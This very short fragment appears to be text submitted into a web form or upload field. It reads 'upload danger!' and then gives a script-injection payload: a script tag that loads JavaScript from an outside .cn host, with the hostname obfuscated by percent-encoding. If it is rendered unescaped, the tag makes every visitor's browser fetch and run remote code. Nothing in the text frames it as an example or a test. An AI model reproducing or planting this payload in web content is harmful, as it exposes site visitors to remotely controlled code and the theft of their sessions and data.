upload danger!
<script src=http://%63%63%68%61%6F%6D%6D%2E%63%6E></script>